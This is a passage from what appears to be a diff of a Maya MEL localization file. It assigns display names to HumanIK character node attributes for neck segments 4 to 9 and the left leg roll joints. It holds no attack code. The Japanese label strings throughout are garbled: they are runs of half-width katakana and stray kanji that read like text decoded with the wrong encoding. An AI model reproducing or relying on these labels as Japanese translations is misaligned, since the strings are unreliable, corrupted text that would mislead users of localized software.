"Neck4MinRLimitEnablez", "ニモテセアイソ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitEnablex", "ニモテセアイソ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitEnabley", "ニモテセアイソ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitEnablez", "ニモテセアイソ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5", "セアイソ 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5T", "セアイソ 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Tx", "セアイソ 5 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Ty", "セアイソ 5 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Tz", "セアイソ 5 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5R", "セアイソ 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Rx", "セアイソ 5 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Ry", "セアイソ 5 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Rz", "セアイソ 5 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5S", "セアイソ 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Sx", "セアイソ 5 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Sy", "セアイソ 5 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5Sz", "セアイソ 5 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateOrder", "セアイソ 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateAxis", "セアイソ 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateAxisx", "セアイソ 5 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateAxisy", "セアイソ 5 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5RotateAxisz", "セアイソ 5 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5JointOrient", "セアイソ 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5JointOrientx", "セアイソ 5 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5JointOrienty", "セアイソ 5 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5JointOrientz", "セアイソ 5 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimit", "セアイソ 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitx", "セアイソ 5 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimity", "セアイソ 5 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitz", "セアイソ 5 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimit", "セアイソ 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitx", "セアイソ 5 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimity", "セアイソ 5 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitz", "セアイソ 5 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitEnablex", "ニモテセアイソ 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitEnabley", "ニモテセアイソ 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MinRLimitEnablez", "ニモテセアイソ 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitEnablex", "ニモテセアイソ 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitEnabley", "ニモテセアイソ 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck5MaxRLimitEnablez", "ニモテセアイソ 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6", "セアイソ 6" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6T", "セアイソ 6 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Tx", "セアイソ 6 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Ty", "セアイソ 6 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Tz", "セアイソ 6 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6R", "セアイソ 6 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Rx", "セアイソ 6 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Ry", "セアイソ 6 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Rz", "セアイソ 6 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6S", "セアイソ 6 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Sx", "セアイソ 6 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Sy", "セアイソ 6 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6Sz", "セアイソ 6 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateOrder", "セアイソ 6 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateAxis", "セアイソ 6 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateAxisx", "セアイソ 6 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateAxisy", "セアイソ 6 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6RotateAxisz", "セアイソ 6 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6JointOrient", "セアイソ 6 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6JointOrientx", "セアイソ 6 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6JointOrienty", "セアイソ 6 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6JointOrientz", "セアイソ 6 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimit", "セアイソ 6 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitx", "セアイソ 6 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimity", "セアイソ 6 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitz", "セアイソ 6 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimit", "セアイソ 6 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitx", "セアイソ 6 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimity", "セアイソ 6 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitz", "セアイソ 6 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitEnablex", "ニモテセアイソ 6 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitEnabley", "ニモテセアイソ 6 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MinRLimitEnablez", "ニモテセアイソ 6 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitEnablex", "ニモテセアイソ 6 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitEnabley", "ニモテセアイソ 6 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck6MaxRLimitEnablez", "ニモテセアイソ 6 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7", "セアイソ 7" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7T", "セアイソ 7 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Tx", "セアイソ 7 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Ty", "セアイソ 7 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Tz", "セアイソ 7 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7R", "セアイソ 7 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Rx", "セアイソ 7 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Ry", "セアイソ 7 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Rz", "セアイソ 7 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7S", "セアイソ 7 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Sx", "セアイソ 7 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Sy", "セアイソ 7 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7Sz", "セアイソ 7 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateOrder", "セアイソ 7 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateAxis", "セアイソ 7 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateAxisx", "セアイソ 7 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateAxisy", "セアイソ 7 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7RotateAxisz", "セアイソ 7 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7JointOrient", "セアイソ 7 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7JointOrientx", "セアイソ 7 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7JointOrienty", "セアイソ 7 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7JointOrientz", "セアイソ 7 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimit", "セアイソ 7 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitx", "セアイソ 7 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimity", "セアイソ 7 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitz", "セアイソ 7 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimit", "セアイソ 7 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitx", "セアイソ 7 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimity", "セアイソ 7 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitz", "セアイソ 7 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitEnablex", "ニモテセアイソ 7 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitEnabley", "ニモテセアイソ 7 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MinRLimitEnablez", "ニモテセアイソ 7 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitEnablex", "ニモテセアイソ 7 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitEnabley", "ニモテセアイソ 7 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck7MaxRLimitEnablez", "ニモテセアイソ 7 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8", "セアイソ 8" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8T", "セアイソ 8 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Tx", "セアイソ 8 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Ty", "セアイソ 8 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Tz", "セアイソ 8 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8R", "セアイソ 8 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Rx", "セアイソ 8 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Ry", "セアイソ 8 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Rz", "セアイソ 8 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8S", "セアイソ 8 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Sx", "セアイソ 8 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Sy", "セアイソ 8 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8Sz", "セアイソ 8 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateOrder", "セアイソ 8 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateAxis", "セアイソ 8 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateAxisx", "セアイソ 8 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateAxisy", "セアイソ 8 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8RotateAxisz", "セアイソ 8 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8JointOrient", "セアイソ 8 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8JointOrientx", "セアイソ 8 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8JointOrienty", "セアイソ 8 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8JointOrientz", "セアイソ 8 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimit", "セアイソ 8 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitx", "セアイソ 8 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimity", "セアイソ 8 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitz", "セアイソ 8 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimit", "セアイソ 8 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitx", "セアイソ 8 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimity", "セアイソ 8 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitz", "セアイソ 8 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitEnablex", "ニモテセアイソ 8 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitEnabley", "ニモテセアイソ 8 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MinRLimitEnablez", "ニモテセアイソ 8 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitEnablex", "ニモテセアイソ 8 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitEnabley", "ニモテセアイソ 8 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck8MaxRLimitEnablez", "ニモテセアイソ 8 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9", "セアイソ 9" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9T", "セアイソ 9 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Tx", "セアイソ 9 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Ty", "セアイソ 9 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Tz", "セアイソ 9 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9R", "セアイソ 9 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Rx", "セアイソ 9 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Ry", "セアイソ 9 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Rz", "セアイソ 9 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9S", "セアイソ 9 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Sx", "セアイソ 9 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Sy", "セアイソ 9 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9Sz", "セアイソ 9 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateOrder", "セアイソ 9 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateAxis", "セアイソ 9 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateAxisx", "セアイソ 9 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateAxisy", "セアイソ 9 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9RotateAxisz", "セアイソ 9 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9JointOrient", "セアイソ 9 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9JointOrientx", "セアイソ 9 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9JointOrienty", "セアイソ 9 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9JointOrientz", "セアイソ 9 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimit", "セアイソ 9 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitx", "セアイソ 9 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimity", "セアイソ 9 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitz", "セアイソ 9 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimit", "セアイソ 9 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitx", "セアイソ 9 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimity", "セアイソ 9 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitz", "セアイソ 9 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitEnablex", "ニモテセアイソ 9 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitEnabley", "ニモテセアイソ 9 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MinRLimitEnablez", "ニモテセアイソ 9 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitEnablex", "ニモテセアイソ 9 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitEnabley", "ニモテセアイソ 9 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck9MaxRLimitEnablez", "ニモテセアイソ 9 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRoll", "ラエヘネイ犹" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollT", "ラエヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollTx", "ラエヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollTy", "ラエヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollTz", "ラエヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollR", "ラエヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRx", "ラエヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRy", "ラエヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRz", "ラエヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollS", "ラエヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollSx", "ラエヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollSy", "ラエヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollSz", "ラエヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", "ラエヘネイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateAxis", "ラエヘネイ犹ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateAxisx", "ラエヘネイ犹ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateAxisy", "ラエヘネイ犹ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollRotateAxisz", "ラエヘネイ犹ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollJointOrient", "ラエヘネイ犹ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollJointOrientx", "ラエヘネイ犹ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollJointOrienty", "ラエヘネイ犹ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollJointOrientz", "ラエヘネイ犹ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimit", "ラエヘネイ犹ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitx", "ラエヘネイ犹ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimity", "ラエヘネイ犹ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitz", "ラエヘネイ犹ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimit", "ラエヘネイ犹ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitx", "ラエヘネイ犹ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimity", "ラエヘネイ犹ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitz", "ラエヘネイ犹ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitEnablex", "ニモテラエヘネイ犹ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitEnabley", "ニモテラエヘネイ犹ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMinRLimitEnablez", "ニモテラエヘネイ犹ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitEnablex", "ニモテラエヘネイ犹ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitEnabley", "ニモテラエヘネイ犹ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRollMaxRLimitEnablez", "ニモテラエヘネイ犹ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRoll", "ラヘネイ犹" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollT", "ラヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollTx", "ラヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollTy", "ラヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollTz", "ラヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollR", "ラヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRx", "ラヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRy", "ラヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRz", "ラヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollS", "ラヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollSx", "ラヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollSy", "ラヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollSz", "ラヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateOrder", "ラヘネイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateAxis", "ラヘネイ犹ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateAxisx", "ラヘネイ犹ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateAxisy", "ラヘネイ犹ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollRotateAxisz", "ラヘネイ犹ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollJointOrient", "ラヘネイ犹ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollJointOrientx", "ラヘネイ犹ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollJointOrienty", "ラヘネイ犹ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollJointOrientz", "ラヘネイ犹ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimit", "ラヘネイ犹ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitx", "ラヘネイ犹ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimity", "ラヘネイ犹ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitz", "ラヘネイ犹ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimit", "ラヘネイ犹ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitx", "ラヘネイ犹ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimity", 